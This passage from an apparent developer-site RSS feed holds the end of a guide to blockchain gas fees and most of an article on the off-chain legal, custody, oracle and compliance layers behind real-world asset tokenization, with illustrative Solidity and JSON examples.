&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/mia1vceke3h2ifd88wof.png&quot; alt=&quot;Ethereum Transaction hash receipt&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let's put our Monad Testnet interaction and the Sepolia Testnet receipt side by side&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Concept                           &lt;/th&gt;&lt;th&gt;Monad Testnet: &lt;code&gt;increment()&lt;/code&gt; &lt;/th&gt;&lt;th&gt;    Sepolia Testnet: &lt;code&gt;close()&lt;/code&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Gas Limit                         &lt;/td&gt;&lt;td&gt;                      49,785 &lt;/td&gt;&lt;td&gt;                       156,059&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Used                          &lt;/td&gt;&lt;td&gt;                      49,785 &lt;/td&gt;&lt;td&gt;                       152,492&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Gas Usage                         &lt;/td&gt;&lt;td&gt;                        100% &lt;/td&gt;&lt;td&gt;                        97.71%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Effective Gas Price (as reported) &lt;/td&gt;&lt;td&gt;                 102.82 Gwei &lt;/td&gt;&lt;td&gt;              0.000153611 Gwei&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Transaction Fee                   &lt;/td&gt;&lt;td&gt;            0.0051188937 MON &lt;/td&gt;&lt;td&gt;      0.000000023424448612 ETH&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Fee Calculation                   &lt;/td&gt;&lt;td&gt;        Gas Used x Gas Price &lt;/td&gt;&lt;td&gt;Gas Used x Effective Gas Price&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;When you look at this table, you might notice that &lt;code&gt;102.82 Gwei&lt;/code&gt; (&lt;code&gt;0.0051 MON&lt;/code&gt;) looks numerically much larger than &lt;code&gt;0.000153611 Gwei&lt;/code&gt; (&lt;code&gt;0.0000000234 ETH&lt;/code&gt;). Does that mean gas fees on Monad are expensive?&lt;/p&gt;
&lt;p&gt;Not at all. In real-world dollar terms, Monad is designed so transactions cost a fraction of a cent. Those raw numbers cannot be compared directly for two reasons:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Different Native Tokens (&lt;code&gt;MON-Gwei&lt;/code&gt; vs. &lt;code&gt;ETH-Gwei&lt;/code&gt;)&lt;/strong&gt;: &lt;code&gt;1 Gwei&lt;/code&gt; on Ethereum is one-billionth of &lt;code&gt;1 ETH&lt;/code&gt; (an asset priced in thousands of dollars), whereas &lt;code&gt;1 Gwei&lt;/code&gt; on Monad is one-billionth of &lt;code&gt;1 MON&lt;/code&gt;. Comparing &lt;code&gt;0.005 MON&lt;/code&gt; to &lt;code&gt;0.00000002 ETH&lt;/code&gt; is like comparing &lt;code&gt;50 Naira&lt;/code&gt; (or 5 Japanese Yen) to &lt;code&gt;0.03 US Dollars&lt;/code&gt;--a bigger number in one currency doesn't mean a higher cost!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monad's &lt;code&gt;100 Gwei&lt;/code&gt; Minimum Base Fee Floor&lt;/strong&gt;: To prevent spam when blocks aren't full, Monad enforces a minimum base fee of &lt;code&gt;100 MON-gwei&lt;/code&gt; (which is why our transaction was &lt;code&gt;102.82 Gwei&lt;/code&gt;: &lt;code&gt;100 Gwei&lt;/code&gt; base fee + &lt;code&gt;2.82 Gwei&lt;/code&gt; priority tip). Sepolia Testnet has no 100 Gwei floor, so its testnet base fee had drifted down to nearly zero (&lt;code&gt;0.000000015 Gwei&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;common-misunderstandings-about-gas-quick-checklist-&quot;&gt;Common Misunderstandings About Gas (Quick Checklist)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gas and cryptocurrency are the same thing&lt;/strong&gt;. They are not. Gas is a measurement of computational work; ETH and MON are the native assets used to pay for that work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The gas limit is the exact amount of gas a transaction will use&lt;/strong&gt;. Not necessarily. The gas limit is the maximum allowance; actual execution often consumes less.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A transaction with &lt;code&gt;0&lt;/code&gt; value is free&lt;/strong&gt;. Incorrect. Both of our transactions had a value of &lt;code&gt;0&lt;/code&gt;, and both required fees to pay for smart contract execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A higher gas limit always means a higher fee&lt;/strong&gt;. It depends on the network's architecture! On Ethereum, you are only billed for &lt;code&gt;Gas Used&lt;/code&gt;, and unused gas is refunded. On Monad, because blocks are packed asynchronously before execution, you are billed for the entire &lt;code&gt;Gas Limit&lt;/code&gt; you reserve.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enough gas guarantees a transaction will succeed&lt;/strong&gt;. Incorrect. Even with plenty of gas, a transaction will revert if it hits a failed contract condition or permission check. &lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;how-to-explain-gas-to-someone-else&quot;&gt;How to Explain Gas to Someone Else&lt;/h3&gt;
&lt;p&gt;If someone asks you, &lt;em&gt;&quot;What is gas on the blockchain, and how do fees work?&quot;&lt;/em&gt;, here is how you can break it down cleanly&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Gas is the unit that measures how much computational work a transaction requires--just like liters of fuel needed for a delivery truck to complete a trip.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Every transaction sets a &lt;strong&gt;Gas Limit&lt;/strong&gt; (calculated automatically by your wallet simulating the transaction), which acts as a maximum fuel cap so a bad loop can't run forever. As the transaction runs, it tallies up the &lt;strong&gt;Gas Used&lt;/strong&gt; based on the exact instructions executed.&lt;/p&gt;
&lt;p&gt;To find the &lt;strong&gt;Transaction Fee&lt;/strong&gt;, you multiply the gas quantity by the Gas Price (measured in &lt;strong&gt;Gwei&lt;/strong&gt;). On Ethereum, you only pay for the fuel your code actually burned (&lt;code&gt;Gas Used&lt;/code&gt;), and any unused gas is refunded immediately. On high-speed asynchronous networks like Monad, where block space is reserved before running the code, you pay for the entire fuel limit you reserved upfront (&lt;code&gt;Gas Limit&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Once you separate the unit of work, the maximum allowance, the actual consumption, and the price per unit, any transaction receipt on any EVM block explorer becomes intuitive to read.&lt;/p&gt;
&lt;h3 id=&quot;let-s-figure-out-the-rest-together&quot;&gt;Let's Figure Out the Rest Together&lt;/h3&gt;
&lt;p&gt;Writing this guide started with a simple realization: it is completely normal to use blockchains, deploy contracts, and still feel a bit fuzzy on what every single line of a transaction receipt is actually telling you. Moving from memorizing definitions to tracing the exact numbers is how the mental model finally clicks.&lt;/p&gt;
&lt;p&gt;Now I'd love to hear from you: &lt;strong&gt;What part of Gas still feels unclear, confusing, or tricky to explain?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Is there a field on a block explorer receipt that you've always wondered about?&lt;/li&gt;
&lt;li&gt;Have you ever run into an unexpected &lt;code&gt;Out of Gas&lt;/code&gt; error or a strange gas estimation spike while testing a contract?&lt;/li&gt;
&lt;li&gt;Or do you have a favorite real-world analogy of your own for explaining gas, &lt;code&gt;Gwei&lt;/code&gt;, or &lt;code&gt;EIP-1559&lt;/code&gt; to someone new?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Drop your questions, edge cases, or thoughts in the comments below--no question is too basic or too far down the rabbit hole. Let's unpack them together.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.binnadev.com&quot;&gt;BinnaDevLab&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Reasoning Precedes Coding.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32560/understanding-gas-on-the-blockchain-a-practical-guide-using-real-transactions</guid>
<pubDate>Mon, 26 Oct 2026 13:35:40 +0000</pubDate>
</item>
<item>
<title>The Token Is the Least Interesting Part of Tokenization</title>
<link>https://coderlegion.com/22240/the-token-is-the-least-interesting-part-of-tokenization</link>
<description>&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&quot;Most tokenization discussions stop at the token. In reality, the token is often the simplest component of the entire system.&quot;&lt;/strong&gt;&lt;br&gt;
There is a moment that happens in almost every tokenization project.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A developer deploys an ERC-721, writes a clean transfer function, and feels like the hard part is done. The token exists. Ownership is recorded on-chain. The asset has been &quot;&lt;strong&gt;tokenized&lt;/strong&gt;.&quot;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-most-developers-think-tokenization-is&quot;&gt;What Most Developers Think Tokenization Is&lt;/h3&gt;
&lt;p&gt;Ask a blockchain developer to describe tokenization, and you'll typically get something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;1. Identify a real-world asset (property, art, gold, bond)
2. Deploy an ERC-20 or ERC-721 contract
3. Mint tokens representing ownership or fractional shares
4. Let people trade on a DEX or marketplace
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This isn't wrong. But it describes roughly &lt;strong&gt;5% of the actual engineering problem.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Here's what that looks like in code - the part most engineers focus on:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import &quot;@openzeppelin/contracts/token/ERC721/ERC721.sol&quot;;
import &quot;@openzeppelin/contracts/access/Ownable.sol&quot;;

contract TokenizedAsset is ERC721, Ownable {
    uint256 private _tokenIdCounter;

    struct AssetMetadata {
        string assetId;          // Off-chain reference ID
        string assetType;        // &quot;real_estate&quot;, &quot;art&quot;, &quot;commodity&quot;
        uint256 valuationUSD;    // Last known valuation (WHO UPDATES THIS?)
        address custodian;       // WHO GUARANTEES THIS EXISTS?
        bool complianceVerified; // HOW WAS THIS VERIFIED?
    }

    mapping(uint256 =&amp;gt; AssetMetadata) public assets;

    constructor() ERC721(&quot;TokenizedAsset&quot;, &quot;TASSET&quot;) Ownable(msg.sender) {}

    function mintToken(
        address to,
        string memory assetId,
        string memory assetType,
        uint256 valuationUSD,
        address custodian
    ) external onlyOwner returns (uint256) {
        uint256 tokenId = _tokenIdCounter++;
        _safeMint(to, tokenId);

        assets[tokenId] = AssetMetadata({
            assetId: assetId,
            assetType: assetType,
            valuationUSD: valuationUSD,
            custodian: custodian,
            complianceVerified: true  // ← Who actually verified this?
        });

        return tokenId;
    }

    function transferToken(address to, uint256 tokenId) external {
        // Token transfers instantly on-chain.
        // But does the physical asset move?    NO.
        // Is the legal title updated?          NO.
        // Is the new owner KYC verified?       NOT HERE.
        safeTransferFrom(msg.sender, to, tokenId);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice the comments. Every line that touches the real world — valuation, custody, compliance — is either a placeholder or a lie waiting to surface. The contract compiles. It deploys. It works perfectly on-chain. And it answers none of the questions that matter for a real asset.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-five-layers-nobody-talks-about&quot;&gt;The Five Layers Nobody Talks About&lt;/h3&gt;
&lt;p&gt;A production tokenization system has to answer hard questions across five distinct layers &lt;strong&gt;before a single token is minted.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;layer-1-provenance&quot;&gt;Layer 1 — Provenance&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;The question:&lt;/strong&gt; Where did this asset come from, and how do we prove it is authentic?&lt;/p&gt;
&lt;p&gt;For a piece of art, that means verifying the ownership chain from artist to current holder, confirming it hasn't been forged, and recording that history in a way that survives beyond any single database.&lt;/p&gt;
&lt;p&gt;For a property, it means confirming the title is clean, no liens are outstanding, and the legal owner is exactly who they claim to be.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;⚠️ Blockchain can &lt;strong&gt;record&lt;/strong&gt; provenance. It cannot &lt;strong&gt;create&lt;/strong&gt; it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you put bad provenance data on-chain, you have an immutable ledger of a lie. The blockchain cannot distinguish between a real Picasso and a forgery. That verification happens in the physical world, by human experts, before anything touches the chain.&lt;/p&gt;
&lt;p&gt;Here is what on-chain provenance metadata should actually look like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;tokenId&quot;: &quot;0x4a3f...&quot;,
  &quot;asset&quot;: {
    &quot;type&quot;: &quot;commercial_real_estate&quot;,
    &quot;address&quot;: &quot;123 Main Street, New York, NY&quot;,
    &quot;legalDescription&quot;: &quot;Lot 14, Block 7, Manhattan District...&quot;,
    &quot;titleDeedNumber&quot;: &quot;NYC-2024-00847291&quot;
  },
  &quot;provenance&quot;: {
    &quot;originalOwner&quot;: &quot;0xA1B2...&quot;,
    &quot;ownershipHistory&quot;: [
      {
        &quot;owner&quot;: &quot;0xA1B2...&quot;,
        &quot;acquiredDate&quot;: &quot;2019-03-15&quot;,
        &quot;transferType&quot;: &quot;purchase&quot;,
        &quot;legalDocumentHash&quot;: &quot;QmX7kP...ipfs&quot;
      },
      {
        &quot;owner&quot;: &quot;0xC3D4...&quot;,
        &quot;acquiredDate&quot;: &quot;2022-08-01&quot;,
        &quot;transferType&quot;: &quot;tokenized_sale&quot;,
        &quot;legalDocumentHash&quot;: &quot;QmR2nK...ipfs&quot;
      }
    ],
    &quot;titleVerifiedBy&quot;: &quot;Chicago Title Insurance Company&quot;,
    &quot;titleVerificationDate&quot;: &quot;2024-01-10&quot;,
    &quot;titleVerificationDocHash&quot;: &quot;QmT9aM...ipfs&quot;
  },
  &quot;custody&quot;: {
    &quot;custodian&quot;: &quot;Anchorage Digital Bank&quot;,
    &quot;custodianAddress&quot;: &quot;0xE5F6...&quot;,
    &quot;custodyAgreementHash&quot;: &quot;QmW3bL...ipfs&quot;,
    &quot;insurancePolicyId&quot;: &quot;POL-2024-18473&quot;,
    &quot;lastAuditDate&quot;: &quot;2024-06-01&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the metadata that makes the token meaningful. Without it, you have a tradeable number with no verifiable connection to the real world.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;layer-2-custody&quot;&gt;Layer 2 — Custody&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;The question:&lt;/strong&gt; Who physically controls this asset, and what legal guarantee do they provide?&lt;/p&gt;
&lt;p&gt;A token can transfer on-chain in seconds. But if that token represents a gold bar in a vault, the gold doesn't move when the token does. Someone has to maintain the physical asset, insure it, audit it periodically, and guarantee its continued existence.&lt;/p&gt;
&lt;p&gt;Two of the most prominent tokenized gold products — &lt;strong&gt;Tether Gold (XAUT)&lt;/strong&gt; and &lt;strong&gt;PAX Gold (PAXG)&lt;/strong&gt; — both rely on traditional vault custodians managing physical reserves entirely off-chain. The blockchain tracks the token. The custodian tracks the gold. These are separate systems that must stay synchronized.&lt;/p&gt;
&lt;p&gt;What happens when they diverge? That's not a blockchain problem. That's an operational failure - and no smart contract can detect or fix it.&lt;/p&gt;
&lt;p&gt;The real engineering challenge is building custody infrastructure that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Maintains a real-time audit trail of physical asset status&lt;/li&gt;
&lt;li&gt;Triggers on-chain state changes when custody events occur&lt;/li&gt;
&lt;li&gt;Provides cryptographic proof of custody at any point in time&lt;/li&gt;
&lt;li&gt;Has legally enforceable agreements for failure scenarios&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Custody Architecture:

Physical Asset (vault / property / registry)
        ↓  [physical audit]
Regulated Custodian (licensed entity)
        ↓  [signed attestation]
Verification Service (third-party auditor)
        ↓  [cryptographic proof]
Oracle Network (Chainlink, API3, etc.)
        ↓  [on-chain update]
Smart Contract State (token metadata)
        ↓  [token represents]
Token Holder (on-chain)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every arrow here is a trust boundary. Every trust boundary requires legal agreements, technical integrations, operational processes, and failure-mode planning. None of it is in your Solidity file.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;layer-3-the-oracle-problem&quot;&gt;Layer 3 — The Oracle Problem&lt;/h4&gt;
&lt;p&gt;This is where most tokenization discussions go quiet, because the answer is uncomfortable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blockchains are deterministic, isolated systems.&lt;/strong&gt; They execute logic perfectly on data that already exists on-chain. They have no native ability to access external data - including the current value of the asset they tokenized.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;What blockchain CAN verify:
✅ Token was transferred from address A to address B
✅ Transaction happened at block 19,847,233
✅ The transfer followed all contract rules
✅ Cryptographic signatures are valid

What blockchain CANNOT verify:
❌ The gold is still in the vault
❌ The building hasn't burned down
❌ The property appraised at $2.4M this quarter
❌ The previous owner legally held the title
❌ The shipment actually arrived at the warehouse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every item in that second list requires an oracle — an external data provider bridging real-world information onto the chain.&lt;/p&gt;
&lt;p&gt;But centralized oracles introduce a new problem: &lt;strong&gt;a single point of failure that undermines the entire value proposition of decentralization.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Here's what a naive oracle integration looks like - and why it's dangerous:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;// ❌ DANGEROUS: Single centralized oracle
contract NaiveTokenizedAsset is ERC721 {
    address public trustedOracle; // Single point of failure

    function updateValuation(uint256 tokenId, uint256 newValueUSD) external {
        require(msg.sender == trustedOracle, &quot;Only oracle can update&quot;);
        // If trustedOracle is compromised, ALL valuations can be manipulated
        assets[tokenId].valuationUSD = newValueUSD;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here's what a production-grade oracle integration actually requires:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;// ✅ BETTER: Decentralized oracle with staleness checks
import &quot;@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol&quot;;

contract RobustTokenizedAsset is ERC721 {
    AggregatorV3Interface internal priceFeed;
    uint256 public constant MAX_STALENESS = 3600; // 1 hour max

    function getVerifiedValuation(uint256 tokenId)
        public
        view
        returns (uint256 price, bool isStale)
    {
        (
            uint80 roundId,
            int256 answer,
            ,
            uint256 updatedAt,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();

        require(answer &amp;gt; 0, &quot;Invalid price data&quot;);

        // Check data freshness - stale data is dangerous
        isStale = (block.timestamp - updatedAt) &amp;gt; MAX_STALENESS;

        // Check round completeness
        require(answeredInRound &amp;gt;= roundId, &quot;Stale round&quot;);

        price = uint256(answer);
    }

    function isValidOracleData(
        int256 answer,
        uint256 updatedAt,
        uint80 roundId,
        uint80 answeredInRound
    ) internal view returns (bool) {
        if (answer &amp;lt;= 0) return false;
        if (block.timestamp - updatedAt &amp;gt; MAX_STALENESS) return false;
        if (answeredInRound &amp;lt; roundId) return false;
        return true;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even this is incomplete. A production system also needs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Multiple independent oracle sources (not just Chainlink)&lt;/li&gt;
&lt;li&gt;Circuit breakers that halt trading when oracle data is suspicious&lt;/li&gt;
&lt;li&gt;Time-weighted average prices (TWAP) to resist manipulation&lt;/li&gt;
&lt;li&gt;Emergency governance mechanisms to override oracle data&lt;/li&gt;
&lt;li&gt;Off-chain monitoring that alerts when feeds go stale&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;BlackRock's BUIDL fund&lt;/strong&gt; is the clearest institutional proof of this. Launched in March 2024, it grew to over $2.5 billion in assets - becoming the world's largest tokenized Treasury fund. Not because of a clever smart contract. Because BlackRock paired it with Securitize's transfer agency platform, BNY Mellon's custody arrangements, and institutional-grade oracle integrations. The token was the output. The infrastructure was the actual product.&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;layer-4-compliance-middleware&quot;&gt;Layer 4 — Compliance Middleware&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;The question:&lt;/strong&gt; Who is legally allowed to hold this token, and in which jurisdictions?&lt;/p&gt;
&lt;p&gt;This is where many tokenization projects quietly fail. A token representing fractional real estate in the United States may be a security under SEC regulations. That means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;KYC/AML verification for every holder&lt;/li&gt;
&lt;li&gt;Accredited investor checks&lt;/li&gt;
&lt;li&gt;Transfer restrictions (you cannot freely trade a security token like an ERC-20)&lt;/li&gt;
&lt;li&gt;Ongoing reporting obligations&lt;/li&gt;
&lt;li&gt;Geographic restrictions (certain jurisdictions cannot participate)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here's what compliant token transfer logic actually looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;// ERC-3643: Security Token Standard with built-in compliance
contract CompliantSecurityToken is ERC20 {
    IIdentityRegistry public identityRegistry;
    ICompliance public compliance;

    mapping(address =&amp;gt; bool) public frozen;

    modifier onlyVerifiedInvestor(address investor) {
        require(
            identityRegistry.isVerified(investor),
            &quot;Investor not KYC verified&quot;
        );
        require(!frozen[investor], &quot;Investor account is frozen&quot;);
        _;
    }

    function transfer(address to, uint256 amount)
        public
        override
        onlyVerifiedInvestor(msg.sender)
        onlyVerifiedInvestor(to)
        returns (bool)
    {
        // Off-chain compliance check BEFORE on-chain transfer
        require(
            compliance.canTransfer(msg.sender, to, amount),
            &quot;Transfer not compliant&quot;
        );
        return super.transfer(to, amount);
    }

    // Required for: court orders, regulatory seizure, account recovery
    // This is legal compulsion — not a bug, a legal requirement
    function forcedTransfer(address from, address to, uint256 amount)
        external onlyOwner
    {
        _transfer(from, to, amount);
    }

    // Required for: sanctions compliance, court orders
    function freeze(address account) external onlyOwner {
        frozen[account] = true;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice &lt;code&gt;forcedTransfer&lt;/code&gt; and &lt;code&gt;freeze&lt;/code&gt;. These functions exist because real-world compliance sometimes requires overriding user ownership - for court orders, sanctions enforcement, and regulatory seizure. Every tokenization platform operating at institutional scale has these functions. &lt;strong&gt;They are not bugs. They are legal requirements.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;layer-5-legal-enforceability&quot;&gt;Layer 5 — Legal Enforceability&lt;/h4&gt;
&lt;p&gt;This is the quietest failure mode in tokenization - and the most dangerous.&lt;/p&gt;
&lt;p&gt;In most jurisdictions today, courts do not recognize on-chain token transfers as legally binding property transfers. If there's a dispute over a tokenized property, courts will likely defer to the traditional title deed, not the NFT.&lt;/p&gt;
&lt;p&gt;Progress is happening:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Switzerland's &lt;strong&gt;DLT Act (2021)&lt;/strong&gt; explicitly recognizes tokenized securities as legal securities&lt;/li&gt;
&lt;li&gt;The EU's &lt;strong&gt;DLT Pilot Regime (March 2023)&lt;/strong&gt; allows approved market infrastructure to experiment with tokenized instruments&lt;/li&gt;
&lt;li&gt;Dubai's &lt;strong&gt;VARA&lt;/strong&gt; created a specific legal category for tokenized real-world assets&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But in the United States, most of Asia, and much of the emerging world, the legal infrastructure has not caught up to the technology.&lt;/p&gt;
&lt;p&gt;This means many tokenization projects exist in legal limbo: the on-chain transfer is technically valid, but the off-chain legal claim may not reflect it. The blockchain says you own something. The legal system may not agree.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-real-architecture&quot;&gt;The Real Architecture&lt;/h3&gt;
&lt;p&gt;Here is what a production tokenization system actually looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;┌──────────────────────────────────────────────────────────────┐
│                     REAL WORLD LAYER                         │
│   Physical Asset → Legal Structuring (SPV / Trust)           │
│   Custodian      → Title Registry / Legal Docs               │
└─────────────────────────┬────────────────────────────────────┘
                          │ custody link
┌─────────────────────────▼────────────────────────────────────┐
│                   VERIFICATION LAYER                         │
│   Third-Party Auditors  → Provenance Verification            │
│   KYC/AML Providers     → Investor Qualification             │
│   Appraisers            → Valuation Updates                  │
│   Legal Counsel         → Regulatory Compliance              │
└─────────────────────────┬────────────────────────────────────┘
                          │ signed attestation
┌─────────────────────────▼────────────────────────────────────┐
│                      ORACLE LAYER                            │
│   Price Feeds   → Asset Valuations (Chainlink, API3)         │
│   Event Feeds   → Custody Changes, Legal Transfers           │
│   Audit Feeds   → Physical Verification Results              │
│   Compliance    → KYC Status, Sanctions Checks               │
└─────────────────────────┬────────────────────────────────────┘
                          │ on-chain data
┌─────────────────────────▼────────────────────────────────────┐
│                  SMART CONTRACT LAYER                        │
│   Token Contract (ERC-3643 or similar)                       │
│   ├── Transfer Restrictions (compliance enforcement)         │
│   ├── Forced Transfer / Freeze (legal compulsion)            │
│   ├── Oracle Integration (valuation updates)                 │
│   ├── Identity Registry (KYC verification)                   │
│   └── Ownership History (provenance recording)               │
└─────────────────────────┬────────────────────────────────────┘
                          │ mints
                    ┌─────▼─────┐
                    │   TOKEN   │  ← what everyone focuses on
                    └───────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The token sits at the bottom of this entire stack. It is the visible output of everything above it. If any layer above it fails, the token becomes meaningless - not because the contract broke, but because the real-world connection it represents no longer holds.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;a-concrete-walk-through-tokenized-commercial-real-estate&quot;&gt;A Concrete Walk-Through: Tokenized Commercial Real Estate&lt;/h3&gt;
&lt;p&gt;Suppose you want to tokenize a commercial office building and offer fractional ownership.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What most engineers plan for:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Week 1 → Write ERC-20 fractional ownership contract
Week 2 → Deploy to mainnet, set up frontend
Week 3 → Launch 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;What actually needs to happen:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Month 1–3: Legal Structuring
├── Create Special Purpose Vehicle (SPV) to hold the property
├── Engage real estate attorneys (multiple jurisdictions)
├── Prepare Private Placement Memorandum (PPM)
├── Register securities offering (or apply for exemption)
└── Establish investor eligibility criteria

Month 2–4: Custodial Setup
├── Engage regulated custodian for the SPV
├── Draft custody agreement with failure-mode provisions
├── Set up insurance for both physical asset and digital rep
├── Establish audit schedule (physical + financial)
└── Create legal links between custodian and token contract

Month 3–5: Technical Infrastructure
├── Deploy compliance middleware (KYC/AML integrations)
├── Integrate identity registry (e.g., Fractal, Onfido)
├── Set up oracle infrastructure for valuation feeds
├── Deploy ERC-3643 or similar security token standard
├── Write and professionally audit smart contracts
├── Set up multi-sig governance for admin functions
└── Build off-chain monitoring for oracle staleness

Month 4–6: Provenance &amp;amp; Legal Links
├── Record title deed + ownership history as IPFS-linked metadata
├── Execute legal agreements linking tokens to SPV equity rights
├── Set up title update pipeline
├── Establish dispute resolution procedures
└── Coordinate with local land registry

Month 6: Token Mint
└── Mint tokens. Write ~200 lines of Solidity. ← you are here

Ongoing (forever):
├── Quarterly valuations         → oracle updates
├── Rental income distribution   → token holder payments
├── Regulatory reporting         → investor disclosures
├── Compliance monitoring        → sanctions screening
├── Custodian audits             → on-chain attestations
└── Legal maintenance            → filings, insurance renewals
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Solidity work is roughly &lt;strong&gt;5% of this project by time and cost.&lt;/strong&gt; The other 95% is legal, operational, compliance, and infrastructure work that most blockchain tutorials never mention.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-the-numbers-tell-us&quot;&gt;What the Numbers Tell Us&lt;/h3&gt;
&lt;p&gt;This is not theoretical. The market is large enough to make it urgent.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Metric &lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;RWA tokenization market (mid-2025) &lt;/td&gt;&lt;td&gt;&lt;strong&gt;$23 billion&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Growth rate (H1 2025) &lt;/td&gt;&lt;td&gt;&lt;strong&gt;260%&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Tokenized U.S. Treasuries (late 2025) &lt;/td&gt;&lt;td&gt;&lt;strong&gt;$9+ billion&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;BlackRock BUIDL AUM &lt;/td&gt;&lt;td&gt;&lt;strong&gt;$2.5 billion&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
